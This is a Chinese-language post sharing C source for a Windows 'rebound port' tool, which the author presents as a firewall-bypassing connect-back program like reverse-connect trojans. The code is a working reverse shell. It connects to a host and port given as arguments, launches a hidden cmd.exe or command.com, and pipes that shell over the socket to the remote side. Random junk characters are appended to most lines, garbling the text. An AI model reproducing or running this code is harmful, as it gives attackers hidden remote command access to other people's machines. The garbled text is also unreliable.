Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 @!Q\| <  

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/* ============================== 7vK}aOs0  
Rebound port in Windows NT }m-+EUEo9  
By wind,2006/7 )Ft>X9$  
===============================*/ d##'0yg  
#include UmA'aq  
#include C)0JcM  
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#pragma comment(lib,"wsock32.lib") y Ide]  
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void OutputShell(); sVT\e*4m}  
SOCKET sClient; =h}IyY@o  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J"]P"`/  
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void main(int argc,char **argv) $5#+;A'Q+  
{ :jljM(\  
WSADATA stWsaData; LXcH<)  
int nRet; 4w0Y(y  
SOCKADDR_IN stSaiClient,stSaiServer; P/hIJV[  
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if(argc != 3) v8o{3wJ  
{ (]p,Z<f  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,;-55|o\V  
return; ]abox%U=%  
} _l!TcH+e  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <Q?X'.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *ZA.O  
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stSaiClient.sin_family = AF_INET; A{b?ZT~2]  
stSaiClient.sin_port = htons(0); Dz>v;%$S-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [1gWc`#  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .jC-&(R +  
{ ^ G(GjW8  
printf("Bind Socket Failed!\n"); H0
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return; YDr/Cw>J  
} J^BC  
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stSaiServer.sin_family = AF_INET; 6tg0=_c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3xGk@ 333  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); jB!Q8#&Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;.P9t`*  
{ m;d#*}n\p  
printf("Connect Error!"); 7'9~Kx&+  
return; Iz<}>J B  
} IT_Fs|$  
OutputShell();
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} W{2(fb  
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void OutputShell() I`e|[k2  
{ J 4EG  
char szBuff[1024]; +iYy^oXxw  
SECURITY_ATTRIBUTES stSecurityAttributes; 7+vyN^XJ"5  
OSVERSIONINFO stOsversionInfo; i-4pdK u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DpaPRA)x  
STARTUPINFO stStartupInfo; REvY`   
char *szShell; qm1;^j&y  
PROCESS_INFORMATION stProcessInformation; lIj2w;$v  
unsigned long lBytesRead; 2|n~5\K|t  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5ZkMd!$y  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Be(h x  
stSecurityAttributes.lpSecurityDescriptor = 0; Jm+;A^;  
stSecurityAttributes.bInheritHandle = TRUE; }
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sKT GZA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g&30@D"  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kU5chltGF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wv8WqYV  
stStartupInfo.wShowWindow = SW_HIDE; sinnHQ  
stStartupInfo.hStdInput = hReadPipe; *VFUC:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |-c)OS3#D  
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GetVersionEx(&stOsversionInfo); yI 6AafS~  
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switch(stOsversionInfo.dwPlatformId) ]#N~r&hmQ  
{ _f8<t=R  
case 1: v]tbs)x;h  
szShell = "command.com"; QDg\GA8|  
break; "&ElKy 7j  
default: vq~btc.p{&  
szShell = "cmd.exe"; ?
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break; eVZ/3o  
} i#M$i*H*A  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G#&R/Tc5N  
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send(sClient,szMsg,77,0); `eat7O  
while(1) j`Xe0U<  
{ ZCZYgf@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mRT`'fxK  
if(lBytesRead) h9,ui^#d$  
{ {
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {[ j+y  
send(sClient,szBuff,lBytesRead,0); AK/_^?zAs  
} bojx:g  
else &xlz80%  
{ *OT6)]|k  
lBytesRead=recv(sClient,szBuff,1024,0); #TLqo(/  
if(lBytesRead<=0) break; gOpGwpYZ,  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); er Cl@sq
 
} !tkP!%w  
} 2G'Au}q0n  
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return; aO9a G*9T  
}